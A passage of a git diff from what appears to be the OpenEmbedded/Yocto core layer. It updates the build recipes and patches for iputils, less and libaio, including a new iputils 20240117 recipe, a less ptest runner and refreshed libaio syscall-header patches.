- if ((cc = recvfrom(s, packet, sizeof(packet), 0,
- (struct sockaddr *)&from, &alen)) < 0) {
- perror("arping: recvfrom");
- continue;
- }
-
-- sigemptyset(&sset);
-- sigaddset(&sset, SIGALRM);
-- sigaddset(&sset, SIGINT);
-- sigprocmask(SIG_BLOCK, &sset, &osset);
-+ sigprocmask(SIG_BLOCK, &sset, NULL);
- recv_pack(packet, cc, (struct sockaddr_ll *)&from);
- sigprocmask(SIG_SETMASK, &osset, NULL);
- }
diff --git a/meta/recipes-extended/iputils/files/debian/targets.diff b/meta/recipes-extended/iputils/files/debian/targets.diff
deleted file mode 100644
index 2cb5576c62..0000000000
--- a/meta/recipes-extended/iputils/files/debian/targets.diff
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Inappropriate [disable feature]
-
-Index: iputils-s20121221/Makefile
-===================================================================
---- iputils-s20121221.orig/Makefile
-+++ iputils-s20121221/Makefile
-@@ -106,7 +106,7 @@ endif
- endif
-
- # -------------------------------------
--IPV4_TARGETS=tracepath ping clockdiff rdisc arping tftpd rarpd
-+IPV4_TARGETS=tracepath ping clockdiff arping
- IPV6_TARGETS=tracepath6 traceroute6 ping6
- TARGETS=$(IPV4_TARGETS) $(IPV6_TARGETS)
-
diff --git a/meta/recipes-extended/iputils/files/debian/use_gethostbyname2.diff b/meta/recipes-extended/iputils/files/debian/use_gethostbyname2.diff
deleted file mode 100644
index d3b18868c0..0000000000
--- a/meta/recipes-extended/iputils/files/debian/use_gethostbyname2.diff
+++ /dev/null
@@ -1,31 +0,0 @@
-Upstream-Status: Pending [from other distro Debian]
-
-Index: iputils-s20121221/tracepath.c
-===================================================================
---- iputils-s20121221.orig/tracepath.c
-+++ iputils-s20121221/tracepath.c
-@@ -370,9 +370,9 @@ main(int argc, char **argv)
- }
- #endif
-
-- he = gethostbyname(p);
-+ he = gethostbyname2(argv[0], AF_INET);
- if (he == NULL) {
-- herror("gethostbyname");
-+ herror("gethostbyname2");
- exit(1);
- }
-
-Index: iputils-s20121221/ping.c
-===================================================================
---- iputils-s20121221.orig/ping.c
-+++ iputils-s20121221/ping.c
-@@ -279,7 +279,7 @@ main(int argc, char **argv)
- #else
- idn = target;
- #endif
-- hp = gethostbyname(idn);
-+ hp = gethostbyname2(idn, AF_INET);
- if (!hp) {
- fprintf(stderr, "ping: unknown host %s\n", target);
- exit(2);
diff --git a/meta/recipes-extended/iputils/files/nsgmls-path-fix.patch b/meta/recipes-extended/iputils/files/nsgmls-path-fix.patch
deleted file mode 100644
index 92bf946f2a..0000000000
--- a/meta/recipes-extended/iputils/files/nsgmls-path-fix.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-Fix nsgmls path issue
-
-Upstream-Status: Pending
-
-Signed-off-by: Zhai Edwin <edwin.zhai@intel.com>
-
-Index: iputils-s20101006/doc/Makefile
-===================================================================
---- iputils-s20101006.orig/doc/Makefile 2011-09-13 20:42:27.000000000 +0800
-+++ iputils-s20101006/doc/Makefile 2011-09-13 21:01:52.000000000 +0800
-@@ -27,10 +27,15 @@
- # docbook2man produces utterly ugly output and I did not find
- # any way to customize this but hacking backend perl script a little.
- # Well, hence...
-+# nsgmls seems append path to search directory according to the sysid path.
-+# e.g. if input ../index.db, it would search $search_directory/../ rather than
-+# $search_directory, which leads searching failure. Fixing nsgmls probably
-+# introduce some side effects, so use this ugly hack: running nsgmls in current
-+# directory, and running docbook2man in tmp directory.
-
- $(MANFILES): index.db
- @-mkdir tmp.db2man
-- @set -e; cd tmp.db2man; nsgmls ../$< | sgmlspl ../docbook2man-spec.pl ; mv $@ ..
-+ @set -e; nsgmls $< >tmp.db2man/output; cd tmp.db2man; cat output | sgmlspl ../docbook2man-spec.pl ; mv $@ ..
- @-rm -rf tmp.db2man
-
- clean:
diff --git a/meta/recipes-extended/iputils/iputils_20240117.bb b/meta/recipes-extended/iputils/iputils_20240117.bb
new file mode 100644
index 0000000000..3880689742
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils_20240117.bb
@@ -0,0 +1,59 @@
+SUMMARY = "Network monitoring tools"
+DESCRIPTION = "Utilities for the IP protocol, including \
+tracepath, tracepath6, ping, ping6 and arping."
+HOMEPAGE = "https://github.com/iputils/iputils"
+SECTION = "console/network"
+
+LICENSE = "BSD-3-Clause & GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=627cc07ec86a45951d43e30658bbd819"
+
+DEPENDS = "gnutls"
+
+SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https"
+SRCREV = "8372f355bdf7a9b0c79338dd8ef8464c00a5c4e2"
+
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)"
+
+CVE_STATUS[CVE-2000-1213] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
+CVE_STATUS[CVE-2000-1214] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
+
+PACKAGECONFIG ??= "libcap"
+PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
+PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
+PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
+PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
+
+inherit meson update-alternatives pkgconfig
+
+EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+ALTERNATIVE:${PN}-ping6 = "ping6"
+ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
+
+SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ping6', '', d)}"
+PACKAGES += "${SPLITPKGS}"
+
+ALLOW_EMPTY:${PN} = "1"
+RDEPENDS:${PN} += "${SPLITPKGS}"
+
+FILES:${PN} = ""
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
+FILES:${PN}-arping = "${base_bindir}/arping"
+FILES:${PN}-tracepath = "${base_bindir}/tracepath"
+FILES:${PN}-clockdiff = "${base_bindir}/clockdiff"
+
+do_install:append() {
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'true', 'false', d)}; then
+ ln -sf ping ${D}/${base_bindir}/ping6
+ fi
+}
diff --git a/meta/recipes-extended/iputils/iputils_s20151218.bb b/meta/recipes-extended/iputils/iputils_s20151218.bb
deleted file mode 100644
index 46de6fc444..0000000000
--- a/meta/recipes-extended/iputils/iputils_s20151218.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-SUMMARY = "Network monitoring tools"
-DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \
-tracepath, tracepath6, ping, ping6 and arping."
-HOMEPAGE = "http://www.skbuff.net/iputils"
-SECTION = "console/network"
-
-LICENSE = "BSD & GPLv2+"
-
-LIC_FILES_CHKSUM = "file://ping.c;beginline=1;endline=35;md5=f9ceb201733e9a6cf8f00766dd278d82 \
- file://tracepath.c;beginline=1;endline=10;md5=0ecea2bf60bff2f3d840096d87647f3d \
- file://arping.c;beginline=1;endline=11;md5=fe84301b5c2655c950f8b92a057fafa6 \
- file://tftpd.c;beginline=1;endline=32;md5=28834bf8a91a5b8a92755dbee709ef96 "
-
-DEPENDS = "gnutls libcap libgcrypt"
-
-
-SRC_URI = "http://www.skbuff.net/iputils/${BPN}-${PV}.tar.bz2 \
- file://debian/use_gethostbyname2.diff \
- file://debian/targets.diff \
- file://nsgmls-path-fix.patch \
- file://0001-Fix-header-inclusion-for-musl.patch \
- file://0001-Intialize-struct-elements-by-name.patch \
- file://arping-fix-arping-hang-if-SIGALRM-is-blocked.patch \
- "
-
-SRC_URI[md5sum] = "8aaa7395f27dff9f57ae016d4bc753ce"
-SRC_URI[sha256sum] = "549f58d71951e52b46595829134d4e330642f522f50026917fadc349a54825a1"
-
-UPSTREAM_CHECK_REGEX = "iputils-(?P<pver>s\d+).tar"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-do_compile () {
- oe_runmake 'CC=${CC} -D_GNU_SOURCE' VPATH="${STAGING_LIBDIR}:${STAGING_DIR_HOST}/${base_libdir}" all
-}
-
-do_install () {
- install -m 0755 -d ${D}${base_bindir}
- # SUID root programs
- install -m 4555 ping ${D}${base_bindir}/ping
- install -m 4555 ping6 ${D}${base_bindir}/ping6
- install -m 4555 traceroute6 ${D}${base_bindir}/
- install -m 4555 clockdiff ${D}${base_bindir}/
- # Other programgs
- for i in arping tracepath tracepath6; do
- install -m 0755 $i ${D}${base_bindir}/
- done
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-ALTERNATIVE_${PN}-ping6 = "ping6"
-ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
-
-PACKAGES += "${PN}-ping ${PN}-ping6 ${PN}-arping ${PN}-tracepath ${PN}-tracepath6 ${PN}-traceroute6 ${PN}-clockdiff"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} += "${PN}-ping ${PN}-ping6 ${PN}-arping ${PN}-tracepath ${PN}-tracepath6 ${PN}-traceroute6 ${PN}-clockdiff"
-
-FILES_${PN} = ""
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
-FILES_${PN}-arping = "${base_bindir}/arping"
-FILES_${PN}-tracepath = "${base_bindir}/tracepath"
-FILES_${PN}-tracepath6 = "${base_bindir}/tracepath6"
-FILES_${PN}-traceroute6 = "${base_bindir}/traceroute6"
-FILES_${PN}-clockdiff = "${base_bindir}/clockdiff"
diff --git a/meta/recipes-extended/less/files/run-ptest b/meta/recipes-extended/less/files/run-ptest
new file mode 100644
index 0000000000..42a2869c84
--- /dev/null
+++ b/meta/recipes-extended/less/files/run-ptest
@@ -0,0 +1,3 @@
+#! /bin/sh
+
+./runtest -l /usr/bin/less -t lesstest -O d lt/*
diff --git a/meta/recipes-extended/less/less_527.bb b/meta/recipes-extended/less/less_643.bb
index f2d33e5060..67834bdd58 100644
--- a/meta/recipes-extended/less/less_527.bb
+++ b/meta/recipes-extended/less/less_643.bb
@@ -5,7 +5,7 @@ programs. Less offers many features beyond those that more does."
HOMEPAGE = "http://www.greenwoodsoftware.com/"
SECTION = "console/utils"
-# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less
+# (GPL-2.0-or-later (<< 418), GPL-3.0-or-later (>= 418)) | less
# Including email author giving permissing to use BSD
#
# From: Mark Nudelman <markn@greenwoodsoftware.com>
@@ -19,24 +19,43 @@ SECTION = "console/utils"
# --Mark
#
-LICENSE = "GPLv3+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://LICENSE;md5=2ef3e4b8dafc85612bc5254b8081e234"
+LICENSE = "GPL-3.0-or-later | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://LICENSE;md5=1b2446f5c8632bf63a97d7a49750e1c6 \
+ "
DEPENDS = "ncurses"
SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
- "
+ file://run-ptest \
+ "
-SRC_URI[md5sum] = "1582422b9d608476345bbc049dc90f6b"
-SRC_URI[sha256sum] = "4e302ac0435811c10866988e0c0feb6c867626cdd8444ae3428aeb9d6e538f95"
+SRC_URI[sha256sum] = "2911b5432c836fa084c8a2e68f6cd6312372c026a58faaa98862731c8b6052e8"
UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
+inherit autotools ptest update-alternatives
+
+EXTRA_OEMAKE += " LESSTEST=1"
+
inherit autotools update-alternatives
+do_compile_ptest () {
+ cd ${S}/lesstest
+ oe_runmake
+}
+
do_install () {
oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
}
-ALTERNATIVE_${PN} = "less"
+do_install_ptest () {
+ cp ${S}/lesstest/lesstest ${D}${PTEST_PATH}
+ cp ${S}/lesstest/runtest ${D}${PTEST_PATH}
+ cp ${S}/lesstest/lt_screen ${D}${PTEST_PATH}
+ cp -r ${S}/lesstest/lt ${D}${PTEST_PATH}
+}
+
+RDEPENDS:${PN}-ptest:append = " perl-module-getopt-std perl-module-cwd locale-base-en-us"
+
+ALTERNATIVE:${PN} = "less"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/libaio/libaio/00_arches.patch b/meta/recipes-extended/libaio/libaio/00_arches.patch
index 9d6447d98a..18c8c546c1 100644
--- a/meta/recipes-extended/libaio/libaio/00_arches.patch
+++ b/meta/recipes-extended/libaio/libaio/00_arches.patch
@@ -1,11 +1,27 @@
+From 546f2708ffa1aa44018be65172013289cf896710 Mon Sep 17 00:00:00 2001
+From: Qing He <qing.he@intel.com>
+Date: Fri, 27 Aug 2010 10:15:31 +0800
+Subject: [PATCH] libaio: add new recipe
+
Upstream-Status: Inappropriate [embedded specific]
from openembedded, added by Qing He <qing.he@intel.com>
-Index: libaio-0.3.110/src/syscall-m68k.h
-===================================================================
+---
+ src/syscall-m68k.h | 78 +++++++++++++++
+ src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++
+ src/syscall-parisc.h | 146 ++++++++++++++++++++++++++++
+ src/syscall.h | 6 ++
+ 4 files changed, 453 insertions(+)
+ create mode 100644 src/syscall-m68k.h
+ create mode 100644 src/syscall-mips.h
+ create mode 100644 src/syscall-parisc.h
+
+diff --git a/src/syscall-m68k.h b/src/syscall-m68k.h
+new file mode 100644
+index 0000000..f440412
--- /dev/null
-+++ libaio-0.3.110/src/syscall-m68k.h
++++ b/src/syscall-m68k.h
@@ -0,0 +1,78 @@
+#define __NR_io_setup 241
+#define __NR_io_destroy 242
@@ -85,27 +101,11 @@ Index: libaio-0.3.110/src/syscall-m68k.h
+return (type) __res; \
+}
+
-Index: libaio-0.3.110/src/syscall.h
-===================================================================
---- libaio-0.3.110.orig/src/syscall.h
-+++ libaio-0.3.110/src/syscall.h
-@@ -28,6 +28,12 @@
- #include "syscall-sparc.h"
- #elif defined(__aarch64__)
- #include "syscall-arm64.h"
-+#elif defined(__m68k__)
-+#include "syscall-m68k.h"
-+#elif defined(__hppa__)
-+#include "syscall-parisc.h"
-+#elif defined(__mips__)
-+#include "syscall-mips.h"
- #else
- #warning "using generic syscall method"
- #include "syscall-generic.h"
-Index: libaio-0.3.110/src/syscall-mips.h
-===================================================================
+diff --git a/src/syscall-mips.h b/src/syscall-mips.h
+new file mode 100644
+index 0000000..4142499
--- /dev/null
-+++ libaio-0.3.110/src/syscall-mips.h
++++ b/src/syscall-mips.h
@@ -0,0 +1,223 @@
+/*
+ * This file is subject to the terms and conditions of the GNU General Public
@@ -330,10 +330,11 @@ Index: libaio-0.3.110/src/syscall-mips.h
+
+#endif /* (_MIPS_SIM == _MIPS_SIM_NABI32) || (_MIPS_SIM == _MIPS_SIM_ABI64) */
+
-Index: libaio-0.3.110/src/syscall-parisc.h
-===================================================================
+diff --git a/src/syscall-parisc.h b/src/syscall-parisc.h
+new file mode 100644
+index 0000000..ff61746
--- /dev/null
-+++ libaio-0.3.110/src/syscall-parisc.h
++++ b/src/syscall-parisc.h
@@ -0,0 +1,146 @@
+/*
+ * Linux system call numbers.
@@ -481,127 +482,20 @@ Index: libaio-0.3.110/src/syscall-parisc.h
+ return K_INLINE_SYSCALL(sname, 5, arg1, arg2, arg3, arg4, arg5); \
+}
+
-Index: libaio-0.3.110/src/syscall-arm.h
-===================================================================
---- libaio-0.3.110.orig/src/syscall-arm.h
-+++ libaio-0.3.110/src/syscall-arm.h
-@@ -114,3 +114,119 @@ type fname(type1 arg1, type2 arg2, type3
- return (type) __res_r0; \
- }
-
-+/*
-+ * linux/include/asm-arm/unistd.h
-+ *
-+ * Copyright (C) 2001-2005 Russell King
-+ *
-+ * This program is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License version 2 as
-+ * published by the Free Software Foundation.
-+ *
-+ * Please forward _all_ changes to this file to rmk@arm.linux.org.uk,
-+ * no matter what the change is. Thanks!
-+ */
-+
-+#define __NR_OABI_SYSCALL_BASE 0x900000
-+
-+#if defined(__thumb__) || defined(__ARM_EABI__)
-+#define __NR_SYSCALL_BASE 0
-+#else
-+#define __NR_SYSCALL_BASE __NR_OABI_SYSCALL_BASE
-+#endif
-+
-+#define __NR_io_setup (__NR_SYSCALL_BASE+243)
-+#define __NR_io_destroy (__NR_SYSCALL_BASE+244)
-+#define __NR_io_getevents (__NR_SYSCALL_BASE+245)
-+#define __NR_io_submit (__NR_SYSCALL_BASE+246)
-+#define __NR_io_cancel (__NR_SYSCALL_BASE+247)
-+
-+#define __sys2(x) #x
-+#define __sys1(x) __sys2(x)
-+
-+#if defined(__thumb__) || defined(__ARM_EABI__)
-+#define __SYS_REG(name) register long __sysreg __asm__("r7") = __NR_##name;
-+#define __SYS_REG_LIST(regs...) "r" (__sysreg) , ##regs
-+#define __syscall(name) "swi\t0"
-+#else
-+#define __SYS_REG(name)
-+#define __SYS_REG_LIST(regs...) regs
-+#define __syscall(name) "swi\t" __sys1(__NR_##name) ""
-+#endif
-+
-+#define io_syscall1(type,fname,sname,type1,arg1) \
-+type fname(type1 arg1) { \
-+ __SYS_REG(sname) \
-+ register long __r0 __asm__("r0") = (long)arg1; \
-+ register long __res_r0 __asm__("r0"); \
-+ __asm__ __volatile__ ( \
-+ __syscall(sname) \
-+ : "=r" (__res_r0) \
-+ : __SYS_REG_LIST( "0" (__r0) ) \
-+ : "memory" ); \
-+ return (type) __res_r0; \
-+}
-+
-+#define io_syscall2(type,fname,sname,type1,arg1,type2,arg2) \
-+type fname(type1 arg1,type2 arg2) { \
-+ __SYS_REG(sname) \
-+ register long __r0 __asm__("r0") = (long)arg1; \
-+ register long __r1 __asm__("r1") = (long)arg2; \
-+ register long __res_r0 __asm__("r0"); \
-+ __asm__ __volatile__ ( \
-+ __syscall(sname) \
-+ : "=r" (__res_r0) \
-+ : __SYS_REG_LIST( "0" (__r0), "r" (__r1) ) \
-+ : "memory" ); \
-+ return (type) __res_r0; \
-+}
-+
-+#define io_syscall3(type,fname,sname,type1,arg1,type2,arg2,type3,arg3) \
-+type fname(type1 arg1,type2 arg2,type3 arg3) { \
-+ __SYS_REG(sname) \
-+ register long __r0 __asm__("r0") = (long)arg1; \
-+ register long __r1 __asm__("r1") = (long)arg2; \
-+ register long __r2 __asm__("r2") = (long)arg3; \
-+ register long __res_r0 __asm__("r0"); \
-+ __asm__ __volatile__ ( \
-+ __syscall(sname) \
-+ : "=r" (__res_r0) \
-+ : __SYS_REG_LIST( "0" (__r0), "r" (__r1), "r" (__r2) ) \
-+ : "memory" ); \
-+ return (type) __res_r0; \
-+}
-+
-+#define io_syscall4(type,fname,sname,type1,arg1,type2,arg2,type3,arg3,type4,arg4)\
-+type fname(type1 arg1, type2 arg2, type3 arg3, type4 arg4) { \
-+ __SYS_REG(sname) \
-+ register long __r0 __asm__("r0") = (long)arg1; \
-+ register long __r1 __asm__("r1") = (long)arg2; \
-+ register long __r2 __asm__("r2") = (long)arg3; \
-+ register long __r3 __asm__("r3") = (long)arg4; \
-+ register long __res_r0 __asm__("r0"); \
-+ __asm__ __volatile__ ( \
-+ __syscall(sname) \
-+ : "=r" (__res_r0) \
-+ : __SYS_REG_LIST( "0" (__r0), "r" (__r1), "r" (__r2), "r" (__r3) ) \
-+ : "memory" ); \
-+ return (type) __res_r0; \
-+}
-+
-+#define io_syscall5(type,fname,sname,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5) \
-+type fname(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5) {\
-+ __SYS_REG(sname) \
-+ register long __r0 __asm__("r0") = (long)arg1; \
-+ register long __r1 __asm__("r1") = (long)arg2; \
-+ register long __r2 __asm__("r2") = (long)arg3; \
-+ register long __r3 __asm__("r3") = (long)arg4; \
-+ register long __r4 __asm__("r4") = (long)arg5; \
-+ register long __res_r0 __asm__("r0"); \
-+ __asm__ __volatile__ ( \
-+ __syscall(sname) \
-+ : "=r" (__res_r0) \
-+ : __SYS_REG_LIST( "0" (__r0), "r" (__r1), "r" (__r2), \
-+ "r" (__r3), "r" (__r4) ) \
-+ : "memory" ); \
-+ return (type) __res_r0; \
-+}
-+
+diff --git a/src/syscall.h b/src/syscall.h
+index d2a117b..8cf8470 100644
+--- a/src/syscall.h
++++ b/src/syscall.h
+@@ -29,6 +29,12 @@
+ #include "syscall-sparc.h"
+ #elif defined(__aarch64__) || defined(__loongarch__) || defined(__riscv)
+ #include "syscall-generic.h"
++#elif defined(__m68k__)
++#include "syscall-m68k.h"
++#elif defined(__hppa__)
++#include "syscall-parisc.h"
++#elif defined(__mips__)
++#include "syscall-mips.h"
+ #else
+ #warning "using system call numbers from sys/syscall.h"
+ #endif
diff --git a/meta/recipes-extended/libaio/libaio/destdir.patch b/meta/recipes-extended/libaio/libaio/destdir.patch
deleted file mode 100644
index dad9601c49..0000000000
--- a/meta/recipes-extended/libaio/libaio/destdir.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-from openembedded, added by Qing He <qing.he@intel.com>
-
-Index: libaio-0.3.106/Makefile
-===================================================================
---- libaio-0.3.106.orig/Makefile 2004-02-26 07:25:10.000000000 -0800
-+++ libaio-0.3.106/Makefile 2006-10-14 09:19:07.000000000 -0700
-@@ -15,7 +15,7 @@
- @$(MAKE) -C src
-
- install:
-- @$(MAKE) -C src install prefix=$(prefix) includedir=$(includedir) libdir=$(libdir)
-+ @$(MAKE) -C src install prefix=$(DESTDIR)$(prefix) includedir=$(DESTDIR)$(includedir) libdir=$(DESTDIR)$(libdir)
-
-
- clean:
diff --git a/meta/recipes-extended/libaio/libaio/generic-arch-dectection-for-padding-defines.patch b/meta/recipes-extended/libaio/libaio/generic-arch-dectection-for-padding-defines.patch
deleted file mode 100644
index bba7e554af..0000000000
--- a/meta/recipes-extended/libaio/libaio/generic-arch-dectection-for-padding-defines.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From: Nathan Rossi <nathan.rossi@xilinx.com>
-Date: Tue, 27 Jan 2015 14:59:35 +1000
-Subject: [PATCH] Generic arch dectection for padding defines
-
-When available use the GNU C defines for endian and bitwidth to
-determine the padding required. This reduces the need to define the
-padding selection for every architecture.
-
-Signed-off-by: Nathan Rossi <nathan.rossi@xilinx.com>
-Signed-off-by: Jeff Moyer <jmoyer@redhat.com>
-Upstream-Status: Backport
----
- src/libaio.h | 16 ++++++++++++----
- 1 file changed, 12 insertions(+), 4 deletions(-)
-
-diff --git a/src/libaio.h b/src/libaio.h
-index 1223146..4a4e0f5 100644
---- a/src/libaio.h
-+++ b/src/libaio.h
-@@ -52,14 +52,18 @@ typedef enum io_iocb_cmd {
- /* little endian, 32 bits */
- #if defined(__i386__) || (defined(__arm__) && !defined(__ARMEB__)) || \
- defined(__sh__) || defined(__bfin__) || defined(__MIPSEL__) || \
-- defined(__cris__)
-+ defined(__cris__) || \
-+ (defined(__GNUC__) && defined(__BYTE_ORDER__) && \
-+ __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ && __SIZEOF_LONG__ == 4)
- #define PADDED(x, y) x; unsigned y
- #define PADDEDptr(x, y) x; unsigned y
- #define PADDEDul(x, y) unsigned long x; unsigned y
-
- /* little endian, 64 bits */
- #elif defined(__ia64__) || defined(__x86_64__) || defined(__alpha__) || \
-- (defined(__aarch64__) && defined(__AARCH64EL__))
-+ (defined(__aarch64__) && defined(__AARCH64EL__)) || \
-+ (defined(__GNUC__) && defined(__BYTE_ORDER__) && \
-+ __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ && __SIZEOF_LONG__ == 8)
- #define PADDED(x, y) x, y
- #define PADDEDptr(x, y) x
- #define PADDEDul(x, y) unsigned long x
-@@ -67,7 +71,9 @@ typedef enum io_iocb_cmd {
- /* big endian, 64 bits */
- #elif defined(__powerpc64__) || defined(__s390x__) || \
- (defined(__sparc__) && defined(__arch64__)) || \
-- (defined(__aarch64__) && defined(__AARCH64EB__))
-+ (defined(__aarch64__) && defined(__AARCH64EB__)) || \
-+ (defined(__GNUC__) && defined(__BYTE_ORDER__) && \
-+ __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ && __SIZEOF_LONG__ == 8)
- #define PADDED(x, y) unsigned y; x
- #define PADDEDptr(x,y) x
- #define PADDEDul(x, y) unsigned long x
-@@ -76,7 +82,9 @@ typedef enum io_iocb_cmd {
- #elif defined(__PPC__) || defined(__s390__) || \
- (defined(__arm__) && defined(__ARMEB__)) || \
- defined(__sparc__) || defined(__MIPSEB__) || defined(__m68k__) || \
-- defined(__hppa__) || defined(__frv__) || defined(__avr32__)
-+ defined(__hppa__) || defined(__frv__) || defined(__avr32__) || \
-+ (defined(__GNUC__) && defined(__BYTE_ORDER__) && \
-+ __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ && __SIZEOF_LONG__ == 4)
- #define PADDED(x, y) unsigned y; x
- #define PADDEDptr(x, y) unsigned y; x
- #define PADDEDul(x, y) unsigned y; unsigned long x
---
-2.1.1
-
diff --git a/meta/recipes-extended/libaio/libaio/libaio_fix_for_x32.patch b/meta/recipes-extended/libaio/libaio/libaio_fix_for_x32.patch
deleted file mode 100644
index dc4ba505b9..0000000000
--- a/meta/recipes-extended/libaio/libaio/libaio_fix_for_x32.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-Upstream-Status: Pending
-
-Properly load arguments 5 an 6 for x86-64 syscall
-Use asm ("r10") and asm ("r8") to load arguments 5 an 6 for x86-64
-syscall so that it works with both x32 and x86-64.
-
-Received this patch from H.J. Lu <hjl.tools@gmail.com>
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2011/12/02
-
---- libaio-0.3.109/src/syscall-x86_64.h.x32 2009-10-09 11:17:02.000000000 -0700
-+++ libaio-0.3.109/src/syscall-x86_64.h 2011-12-02 09:09:07.537603224 -0800
-@@ -1,8 +1,18 @@
-+#ifndef __NR_io_setup
- #define __NR_io_setup 206
-+#endif
-+#ifndef __NR_io_destroy
- #define __NR_io_destroy 207
-+#endif
-+#ifndef __NR_io_getevents
- #define __NR_io_getevents 208
-+#endif
-+#ifndef __NR_io_submit
- #define __NR_io_submit 209
-+#endif
-+#ifndef __NR_io_cancel
- #define __NR_io_cancel 210
-+#endif
-
- #define __syscall_clobber "r11","rcx","memory"
- #define __syscall "syscall"
-@@ -42,10 +52,11 @@ return __res; \
- type fname (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
- { \
- long __res; \
--__asm__ volatile ("movq %5,%%r10 ;" __syscall \
-+register long __a4 asm ("r10") = (long) arg4; \
-+__asm__ volatile (__syscall \
- : "=a" (__res) \
- : "0" (__NR_##sname),"D" ((long)(arg1)),"S" ((long)(arg2)), \
-- "d" ((long)(arg3)),"g" ((long)(arg4)) : __syscall_clobber,"r10" ); \
-+ "d" ((long)(arg3)),"r" (__a4)); \
- return __res; \
- }
-
-@@ -54,10 +65,11 @@ return __res; \
- type fname (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
- { \
- long __res; \
--__asm__ volatile ("movq %5,%%r10 ; movq %6,%%r8 ; " __syscall \
-+register long __a4 asm ("r10") = (long) arg4; \
-+register long __a5 asm ("r8") = (long) arg5; \
-+__asm__ volatile ( __syscall \
- : "=a" (__res) \
- : "0" (__NR_##sname),"D" ((long)(arg1)),"S" ((long)(arg2)), \
-- "d" ((long)(arg3)),"g" ((long)(arg4)),"g" ((long)(arg5)) : \
-- __syscall_clobber,"r8","r10" ); \
-+ "d" ((long)(arg3)),"r" (__a4),"r" (__a5)); \
- return __res; \
- }
diff --git a/meta/recipes-extended/libaio/libaio/system-linkage.patch b/meta/recipes-extended/libaio/libaio/system-linkage.patch
index 0b1f475697..cc91ea99d9 100644
--- a/meta/recipes-extended/libaio/libaio/system-linkage.patch
+++ b/meta/recipes-extended/libaio/libaio/system-linkage.patch
@@ -12,26 +12,22 @@ undefined reference to `__stack_chk_fail_local'
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
---
- src/Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/Makefile b/src/Makefile
-index eadb336..56ab701 100644
+index 37ae219..22e0c9a 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -3,10 +3,10 @@ includedir=$(prefix)/include
- libdir=$(prefix)/lib
-
- CFLAGS ?= -g -fomit-frame-pointer -O2
--CFLAGS += -nostdlib -nostartfiles -Wall -I. -fPIC
-+CFLAGS += -Wall -I. -fPIC
+@@ -6,7 +6,7 @@ CFLAGS ?= -g -fomit-frame-pointer -O2
+ CFLAGS += -Wall -I. -fPIC
SO_CFLAGS=-shared $(CFLAGS)
L_CFLAGS=$(CFLAGS)
-LINK_FLAGS=
+LINK_FLAGS=$(LDFLAGS)
